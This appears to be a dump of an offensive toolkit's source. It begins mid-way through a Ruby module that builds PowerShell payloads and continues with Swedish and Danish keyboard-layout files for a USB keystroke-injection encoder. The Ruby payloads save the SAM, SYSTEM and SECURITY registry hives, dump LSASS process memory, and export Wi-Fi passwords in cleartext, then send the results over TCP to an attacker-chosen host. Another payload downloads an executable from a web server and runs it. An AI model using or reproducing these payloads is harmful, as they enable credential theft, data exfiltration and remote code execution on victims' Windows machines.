System.IO.StreamWriter($sslStream);$writer.WriteLine($file);$writer.flush();$writer.WriteLine($reg_file);$writer.flush();$socket.close()}" 13 | else 14 | powershell_command = "$folder='#{victim_path}\\#{random_folder}';mkdir $folder;reg.exe save HKLM\\SAM $folder\\sam;reg.exe save HKLM\\SYSTEM $folder\\sys;reg.exe save HKLM\\SECURITY $folder\\sec;$files=dir $folder;foreach($file in $files){$reg_file=[System.Convert]::ToBase64String([io.file]::ReadAllBytes($file.FullName));$socket = New-Object net.sockets.tcpclient('#{host}',#{port.to_i});$stream = $socket.GetStream();$writer = new-object System.IO.StreamWriter($stream);$writer.WriteLine($file);$writer.flush();$writer.WriteLine($reg_file);$writer.flush();$socket.close()}" 15 | end 16 | return powershell_command 17 | end 18 | def powershell_lsass_dump(host,port,random_name,ssl=nil) 19 | lsass_dump = "c:\\windows\\temp\\#{random_name}.dmp" 20 | if ssl 21 | powershell_command1 = %($proc = ps lsass;$proc_handle = $proc.Handle;$proc_id = $proc.Id; $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting');$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic');$Flags = [Reflection.BindingFlags] 'NonPublic, Static';$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags);$MiniDumpWithFullMemory = [UInt32] 2; $FileStream = New-Object IO.FileStream("#{lsass_dump}", [IO.FileMode]::Create);$Result = $MiniDumpWriteDump.Invoke($null,@($proc_handle,$proc_id,$FileStream.SafeFileHandle,$MiniDumpWithFullMemory,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));exit) 22 | powershell_command2 = %($lsass_file=[System.Convert]::ToBase64String([io.file]::ReadAllBytes("#{lsass_dump}"));$socket = New-Object Net.Sockets.TcpClient('#{host}', #{port.to_i});$stream = $socket.GetStream();$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]));$sslStream.AuthenticateAsClient('#{host}');$writer = new-object System.IO.StreamWriter($sslStream);$writer.WriteLine('lsass');$writer.flush();$writer.WriteLine($lsass_file);$writer.flush();$socket.close()) 23 | else 24 | powershell_command1 = %($proc = ps lsass;$proc_handle = $proc.Handle;$proc_id = $proc.Id; $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting');$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic');$Flags = [Reflection.BindingFlags] 'NonPublic, Static';$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags);$MiniDumpWithFullMemory = [UInt32] 2; $FileStream = New-Object IO.FileStream("#{lsass_dump}", [IO.FileMode]::Create);$Result = $MiniDumpWriteDump.Invoke($null,@($proc_handle,$proc_id,$FileStream.SafeFileHandle,$MiniDumpWithFullMemory,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));exit) 25 | powershell_command2 = %($lsass_file=[System.Convert]::ToBase64String([io.file]::ReadAllBytes("#{lsass_dump}"));$socket = New-Object net.sockets.tcpclient('#{host}',#{port.to_i});$stream = $socket.GetStream();$writer = new-object System.IO.StreamWriter($stream);$writer.WriteLine("lsass");$writer.flush();$writer.WriteLine($lsass_file);$writer.flush();$socket.close()) 26 | end 27 | return powershell_command1,powershell_command2 28 | end 29 | def powershell_wget_powershell(web_server,executable) 30 | user_pick = Readline.readline("#{get_input("Would you like to add an argument?[yes/no] ")}",true) 31 | if user_pick == 'yes' 32 | arguments = Readline.readline("#{get_input("Input the argument: ")}",true) 33 | powershell_command = %($arg='#{arguments}';$web=new-object System.Net.WebClient;$web.DownloadFile('http://#{web_server}/#{executable}', 'c:\\windows\\temp\\#{executable}'); Start-Process c:\\windows\\temp\\#{executable} $arg) 34 | else 35 | powershell_command = %($web=new-object System.Net.WebClient;$web.DownloadFile('http://#{web_server}/#{executable}', 'c:\\windows\\temp\\#{executable}'); Start-Process c:\\windows\\temp\\#{executable}) 36 | end 37 | return powershell_command 38 | end 39 | def powershell_hex_to_bin(read_path,write_path) 40 | powershell_command = %($hex_string=[io.file]::ReadAllBytes("#{read_path}");$byte_array=$hex_string -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}};[System.IO.WriteAllBytes(#{write_path},$byte_array);Start-Process #{write_path}) 41 | return powershell_command 42 | end 43 | def powershell_wifi_dump(host,port,priv=nil,ssl=nil) 44 | directory = random_name_gen 45 | if ssl and priv 46 | powershell_command = "$savedir='c:\\windows\\temp\\#{directory}\\';mkdir $savedir;netsh wlan export profile folder=$savedir key=clear;$files=dir $savedir;foreach($file in $files){$xml=[System.Convert]::ToBase64String([io.file]::ReadAllBytes($file.FullName);$socket = New-Object net.sockets.tcpclient('#{host}',#{port.to_i});$stream = $socket.GetStream();$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]));$writer = new-object System.IO.StreamWriter($stream);$sslStream.AuthenticateAsClient('#{host}');$writer = new-object System.IO.StreamWriter($sslStream);$writer.WriteLine($file);$writer.flush();$writer.WriteLine($xml);$writer.flush();$socket.close()}" 47 | elsif ssl 48 | powershell_command = "$savedir='c:\\windows\\temp\\#{directory}\\';mkdir $savedir;netsh wlan export profile folder=$savedir;$files=dir $savedir;foreach($file in $files){$xml=[System.Convert]::ToBase64String([io.file]::ReadAllBytes($file.FullName);$socket = New-Object net.sockets.tcpclient('#{host}',#{port.to_i});$stream = $socket.GetStream();$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]));$writer = new-object System.IO.StreamWriter($stream);$sslStream.AuthenticateAsClient('#{host}');$writer = new-object System.IO.StreamWriter($sslStream);$writer.WriteLine($file);$writer.flush();$writer.WriteLine($xml);$writer.flush();$socket.close()}" 49 | elsif priv 50 | powershell_command = "$savedir='c:\\windows\\temp\\#{directory}\\';mkdir $savedir;netsh wlan export profile folder=$savedir key=clear;$files=dir $savedir;foreach($file in $files){$xml=[System.Convert]::ToBase64String([io.file]::ReadAllBytes($file.FullName);$socket = New-Object net.sockets.tcpclient('#{host}',#{port.to_i});$stream = $socket.GetStream();$writer = new-object System.IO.StreamWriter($stream);$writer.WriteLine($file);$writer.flush();$writer.WriteLine($xml);$writer.flush();$socket.close()}" 51 | else 52 | powershell_command = "$savedir='c:\\windows\\temp\\#{directory}\\';mkdir $savedir;netsh wlan export profile folder=$savedir;$files=dir $savedir;foreach($file in $files){$xml=[System.Convert]::ToBase64String([io.file]::ReadAllBytes($file.FullName);$socket = New-Object net.sockets.tcpclient('#{host}',#{port.to_i});$stream = $socket.GetStream();$writer = new-object System.IO.StreamWriter($stream);$writer.WriteLine($file);$writer.flush();$writer.WriteLine($xml);$writer.flush();$socket.close()}" 53 | end 54 | return powershell_command 55 | end 56 | end 57 | -------------------------------------------------------------------------------- /duck_encoder/resources/sv.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_SWEDISH 2 | KEY_NON_US_100 = 100 3 | 4 | ASCII_20 = KEY_SPACE 5 | // 32 6 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 7 | // 33 ! 8 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 9 | // 34 " 10 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 11 | // 35 # 12 | ASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT 13 | // 36 $ 14 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 15 | // 37 % 16 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 17 | // 38 & 18 | ASCII_27 = KEY_BACKSLASH 19 | // 39 ' 20 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 21 | // 40 ( 22 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 23 | // 41 ) 24 | ASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT 25 | // 42 * 26 | ASCII_2B = KEY_MINUS 27 | // 43 + 28 | ASCII_2C = KEY_COMMA 29 | // 44 , 30 | ASCII_2D = KEY_SLASH 31 | // 45 - 32 | ASCII_2E = KEY_PERIOD 33 | // 46 . 34 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 35 | // 47 / 36 | ASCII_30 = KEY_0 37 | // 48 0 38 | ASCII_31 = KEY_1 39 | // 49 1 40 | ASCII_32 = KEY_2 41 | // 50 2 42 | ASCII_33 = KEY_3 43 | // 51 3 44 | ASCII_34 = KEY_4 45 | // 52 4 46 | ASCII_35 = KEY_5 47 | // 53 5 48 | ASCII_36 = KEY_6 49 | // 54 6 50 | ASCII_37 = KEY_7 51 | // 55 7 52 | ASCII_38 = KEY_8 53 | // 55 8 54 | ASCII_39 = KEY_9 55 | // 57 9 56 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 57 | // 58 : 58 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 59 | // 59 ; 60 | ASCII_3C = KEY_NON_US_100 61 | // 60 < 62 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 63 | // 61 = 64 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 65 | // 62 > 66 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 67 | // 63 ? 68 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 69 | // 64 @ 70 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 71 | // 65 A 72 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 73 | // 66 B 74 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 75 | // 67 C 76 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 77 | // 68 D 78 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 79 | // 69 E 80 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 81 | // 70 F 82 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 83 | // 71 G 84 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 85 | // 72 H 86 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 87 | // 73 I 88 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 89 | // 74 J 90 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 91 | // 75 K 92 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 93 | // 76 L 94 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 95 | // 77 M 96 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 97 | // 78 N 98 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 99 | // 79 O 100 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 101 | // 80 P 102 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 103 | // 81 Q 104 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 105 | // 82 R 106 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 107 | // 83 S 108 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 109 | // 84 T 110 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 111 | // 85 U 112 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 113 | // 86 V 114 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 115 | // 87 W 116 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 117 | // 88 X 118 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 119 | // 89 Y 120 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 121 | // 90 Z 122 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 123 | // 91 [ 124 | ASCII_5C = KEY_MINUS, MODIFIERKEY_RIGHT_ALT 125 | // 92 126 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 127 | // 93 ] 128 | //ASCII_5E = CIRCUMFLEX_BITS + KEY_SPACE 129 | // 94 ^ 130 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 131 | // 95 _ 132 | //ASCII_60 = GRAVE_ACCENT_BITS + KEY_SPACE 133 | // 96 ` 134 | ASCII_61 = KEY_A 135 | // 97 a 136 | ASCII_62 = KEY_B 137 | // 98 b 138 | ASCII_63 = KEY_C 139 | // 99 c 140 | ASCII_64 = KEY_D 141 | // 100 d 142 | ASCII_65 = KEY_E 143 | // 101 e 144 | ASCII_66 = KEY_F 145 | // 102 f 146 | ASCII_67 = KEY_G 147 | // 103 g 148 | ASCII_68 = KEY_H 149 | // 104 h 150 | ASCII_69 = KEY_I 151 | // 105 i 152 | ASCII_6A = KEY_J 153 | // 106 j 154 | ASCII_6B = KEY_K 155 | // 107 k 156 | ASCII_6C = KEY_L 157 | // 108 l 158 | ASCII_6D = KEY_M 159 | // 109 m 160 | ASCII_6E = KEY_N 161 | // 110 n 162 | ASCII_6F = KEY_O 163 | // 111 o 164 | ASCII_70 = KEY_P 165 | // 112 p 166 | ASCII_71 = KEY_Q 167 | // 113 q 168 | ASCII_72 = KEY_R 169 | // 114 r 170 | ASCII_73 = KEY_S 171 | // 115 s 172 | ASCII_74 = KEY_T 173 | // 116 t 174 | ASCII_75 = KEY_U 175 | // 117 u 176 | ASCII_76 = KEY_V 177 | // 118 v 178 | ASCII_77 = KEY_W 179 | // 119 w 180 | ASCII_78 = KEY_X 181 | // 120 x 182 | ASCII_79 = KEY_Y 183 | // 121 y 184 | ASCII_7A = KEY_Z 185 | // 122 z 186 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 187 | // 123 { 188 | ASCII_7C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT 189 | // 124 | 190 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 191 | // 125 } 192 | //ASCII_7E = TILDE_BITS + KEY_SPACE 193 | // 126 ~ 194 | ASCII_7F = KEY_BACKSPACE 195 | // 127 196 | 197 | ISO_8859_1_A0 = KEY_SPACE 198 | // 160 Nonbreakng Space 199 | ISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT 200 | // 163 £ Pound Sign 201 | ISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT 202 | // 164 ¤ Currency Sign 203 | ISO_8859_1_A7 = KEY_TILDE 204 | // 167 § SECTION SIGN 205 | //ISO_8859_1_A8 = DIAERESIS_BITS + KEY_SPACE 206 | // 168 ¨ DIAERESIS 207 | ISO_8859_1_AB = KEY_4 208 | // 171 « LEFT DOUBLE ANGLE QUOTE 209 | //ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE 210 | // 180 ´ ACUTE ACCENT 211 | ISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT 212 | // 181 µ MICRO SIGN 213 | ISO_8859_1_BD = KEY_TILDE, MODIFIERKEY_SHIFT 214 | // 189 ½ FRACTION ONE HALF 215 | //ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 216 | // 192 À A GRAVE 217 | //ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 218 | // 193 Á A ACUTE 219 | //ISO_8859_1_C2 = CIRCUMFLEX_BITS + KEY_A, MODIFIERKEY_SHIFT 220 | // 194  A CIRCUMFLEX 221 | //ISO_8859_1_C3 = TILDE_BITS + KEY_A, MODIFIERKEY_SHIFT 222 | // 195 à A TILDE 223 | ISO_8859_1_C4 = KEY_QUOTE, MODIFIERKEY_SHIFT 224 | // 196 Ä A DIAERESIS 225 | ISO_8859_1_C5 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 226 | // 197 Å A RING ABOVE 227 | //ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 228 | // 200 È E GRAVE 229 | //ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 230 | // 201 É E ACUTE 231 | //ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT 232 | // 202 Ê E CIRCUMFLEX 233 | //ISO_8859_1_CB = DIAERESIS_BITS + KEY_E, MODIFIERKEY_SHIFT 234 | // 203 Ë E DIAERESIS 235 | //ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 236 | // 204 Ì I GRAVE 237 | //ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 238 | // 205 Í I ACUTE 239 | //ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT 240 | // 206 Î I CIRCUMFLEX 241 | //ISO_8859_1_CF = DIAERESIS_BITS + KEY_I, MODIFIERKEY_SHIFT 242 | // 207 Ï I DIAERESIS 243 | //ISO_8859_1_D0 = KEY_D, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 244 | // 208 Ð ETH 245 | //ISO_8859_1_D1 = TILDE_BITS + KEY_N, MODIFIERKEY_SHIFT 246 | // 209 Ñ N TILDE 247 | //ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 248 | // 210 Ò O GRAVE 249 | //ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 250 | // 211 Ó O ACUTE 251 | //ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT 252 | // 212 Ô O CIRCUMFLEX 253 | //ISO_8859_1_D5 = TILDE_BITS + KEY_O, MODIFIERKEY_SHIFT 254 | // 213 Õ O TILDE 255 | ISO_8859_1_D6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 256 | // 214 Ö O DIAERESIS 257 | //ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 258 | // 217 Ù U GRAVE 259 | //ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 260 | // 218 Ú U ACUTE 261 | //ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT 262 | // 219 Û U CIRCUMFLEX 263 | //ISO_8859_1_DC = DIAERESIS_BITS + KEY_U, MODIFIERKEY_SHIFT 264 | // 220 Ü U DIAERESIS 265 | //ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Y, MODIFIERKEY_SHIFT 266 | // 221 Ý Y ACUTE 267 | //ISO_8859_1_DE = KEY_T, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 268 | // 222 Þ THORN 269 | ISO_8859_1_DF = KEY_S, MODIFIERKEY_RIGHT_ALT 270 | // 223 ß SHARP S 271 | //ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A 272 | // 224 à a GRAVE 273 | //ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A 274 | // 225 á a ACUTE 275 | //ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A 276 | // 226 â a CIRCUMFLEX 277 | //ISO_8859_1_E3 = TILDE_BITS + KEY_A 278 | // 227 ã a TILDE 279 | ISO_8859_1_E4 = KEY_QUOTE 280 | // 228 ä a DIAERESIS 281 | ISO_8859_1_E5 = KEY_LEFT_BRACE 282 | // 229 å a RING ABOVE 283 | //ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E 284 | // 232 è e GRAVE 285 | //ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E 286 | // 233 é e ACUTE 287 | //ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E 288 | // 234 ê e CIRCUMFLEX 289 | //ISO_8859_1_EB = DIAERESIS_BITS + KEY_E 290 | // 235 ë e DIAERESIS 291 | //ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I 292 | // 236 ì i GRAVE 293 | //ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I 294 | // 237 í i ACUTE 295 | //ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I 296 | // 238 î i CIRCUMFLEX 297 | //ISO_8859_1_EF = DIAERESIS_BITS + KEY_I 298 | // 239 ï i DIAERESIS 299 | ISO_8859_1_F0 = KEY_D, MODIFIERKEY_RIGHT_ALT 300 | // 240 ð ETH 301 | //ISO_8859_1_F1 = TILDE_BITS + KEY_N 302 | // 241 ñ n TILDE 303 | //ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O 304 | // 242 ò o GRAVE 305 | //ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O 306 | // 243 ó o ACUTE 307 | //ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O 308 | // 244 ô o CIRCUMFLEX 309 | //ISO_8859_1_F5 = TILDE_BITS + KEY_O 310 | // 245 õ o TILDE 311 | ISO_8859_1_F6 = KEY_SEMICOLON 312 | // 246 ö o DIAERESIS 313 | //ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U 314 | // 249 ù u GRAVE 315 | //ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U 316 | // 250 ú u ACUTE 317 | //ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U 318 | // 251 û u CIRCUMFLEX 319 | //ISO_8859_1_FC = DIAERESIS_BITS + KEY_U 320 | // 252 ü u DIAERESIS 321 | //ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Y 322 | // 253 ý y ACUTE 323 | ISO_8859_1_FE = KEY_T, MODIFIERKEY_RIGHT_ALT 324 | // 254 þ THORN 325 | //ISO_8859_1_FF = DIAERESIS_BITS + KEY_Y 326 | // 255 ÿ y DIAERESIS 327 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 328 | // € Euro Sign 329 | 330 | -------------------------------------------------------------------------------- /duck_encoder/resources/dk.properties: -------------------------------------------------------------------------------- 1 | //LAYOUT_DANISH 2 | KEY_NON_US_100 = 100 3 | 4 | ASCII_20 = KEY_SPACE 5 | // 32 6 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 7 | // 33 ! 8 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 9 | // 34 " 10 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 11 | // 35 # 12 | ASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT 13 | // 36 $ 14 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 15 | // 37 % 16 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 17 | // 38 & 18 | ASCII_27 = KEY_BACKSLASH 19 | // 39 ' 20 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 21 | // 40 ( 22 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 23 | // 41 ) 24 | ASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT 25 | // 42 * 26 | ASCII_2B = KEY_MINUS 27 | // 43 + 28 | ASCII_2C = KEY_COMMA 29 | // 44 , 30 | ASCII_2D = KEY_SLASH 31 | // 45 - 32 | ASCII_2E = KEY_PERIOD 33 | // 46 . 34 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 35 | // 47 / 36 | ASCII_30 = KEY_0 37 | // 48 0 38 | ASCII_31 = KEY_1 39 | // 49 1 40 | ASCII_32 = KEY_2 41 | // 50 2 42 | ASCII_33 = KEY_3 43 | // 51 3 44 | ASCII_34 = KEY_4 45 | // 52 4 46 | ASCII_35 = KEY_5 47 | // 53 5 48 | ASCII_36 = KEY_6 49 | // 54 6 50 | ASCII_37 = KEY_7 51 | // 55 7 52 | ASCII_38 = KEY_8 53 | // 55 8 54 | ASCII_39 = KEY_9 55 | // 57 9 56 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 57 | // 58 : 58 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 59 | // 59 ; 60 | ASCII_3C = KEY_NON_US_100 61 | // 60 < 62 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 63 | // 61 = 64 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 65 | // 62 > 66 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 67 | // 63 ? 68 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 69 | // 64 @ 70 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 71 | // 65 A 72 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 73 | // 66 B 74 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 75 | // 67 C 76 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 77 | // 68 D 78 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 79 | // 69 E 80 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 81 | // 70 F 82 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 83 | // 71 G 84 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 85 | // 72 H 86 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 87 | // 73 I 88 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 89 | // 74 J 90 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 91 | // 75 K 92 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 93 | // 76 L 94 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 95 | // 77 M 96 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 97 | // 78 N 98 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 99 | // 79 O 100 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 101 | // 80 P 102 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 103 | // 81 Q 104 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 105 | // 82 R 106 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 107 | // 83 S 108 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 109 | // 84 T 110 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 111 | // 85 U 112 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 113 | // 86 V 114 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 115 | // 87 W 116 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 117 | // 88 X 118 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 119 | // 89 Y 120 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 121 | // 90 Z 122 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 123 | // 91 [ 124 | ASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT 125 | // 92 126 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 127 | // 93 ] 128 | //ASCII_5E = CIRCUMFLEX_BITS + KEY_SPACE 129 | // 94 ^ 130 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 131 | // 95 _ 132 | //ASCII_60 = GRAVE_ACCENT_BITS + KEY_SPACE 133 | // 96 ` 134 | ASCII_61 = KEY_A 135 | // 97 a 136 | ASCII_62 = KEY_B 137 | // 98 b 138 | ASCII_63 = KEY_C 139 | // 99 c 140 | ASCII_64 = KEY_D 141 | // 100 d 142 | ASCII_65 = KEY_E 143 | // 101 e 144 | ASCII_66 = KEY_F 145 | // 102 f 146 | ASCII_67 = KEY_G 147 | // 103 g 148 | ASCII_68 = KEY_H 149 | // 104 h 150 | ASCII_69 = KEY_I 151 | // 105 i 152 | ASCII_6A = KEY_J 153 | // 106 j 154 | ASCII_6B = KEY_K 155 | // 107 k 156 | ASCII_6C = KEY_L 157 | // 108 l 158 | ASCII_6D = KEY_M 159 | // 109 m 160 | ASCII_6E = KEY_N 161 | // 110 n 162 | ASCII_6F = KEY_O 163 | // 111 o 164 | ASCII_70 = KEY_P 165 | // 112 p 166 | ASCII_71 = KEY_Q 167 | // 113 q 168 | ASCII_72 = KEY_R 169 | // 114 r 170 | ASCII_73 = KEY_S 171 | // 115 s 172 | ASCII_74 = KEY_T 173 | // 116 t 174 | ASCII_75 = KEY_U 175 | // 117 u 176 | ASCII_76 = KEY_V 177 | // 118 v 178 | ASCII_77 = KEY_W 179 | // 119 w 180 | ASCII_78 = KEY_X 181 | // 120 x 182 | ASCII_79 = KEY_Y 183 | // 121 y 184 | ASCII_7A = KEY_Z 185 | // 122 z 186 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 187 | // 123 { 188 | ASCII_7C = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT 189 | // 124 | 190 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 191 | // 125 } 192 | ASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 193 | // 126 ~ (not tested) 194 | ASCII_7F = KEY_BACKSPACE 195 | // 127 196 | 197 | ISO_8859_1_A0 = KEY_SPACE 198 | // 160 Nonbreakng Space 199 | ISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT 200 | // 163 £ Pound Sign 201 | ISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT 202 | // 164 ¤ Currency Sign 203 | ISO_8859_1_A7 = KEY_TILDE, MODIFIERKEY_SHIFT 204 | // 167 § SECTION SIGN 205 | ISO_8859_1_A8 = DIAERESIS_BITS + KEY_SPACE 206 | // 168 ¨ DIAERESIS 207 | ISO_8859_1_AB = KEY_4 208 | // 171 « LEFT DOUBLE ANGLE QUOTE 209 | ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE 210 | // 180 ´ ACUTE ACCENT 211 | ISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT 212 | // 181 µ MICRO SIGN 213 | ISO_8859_1_BD = 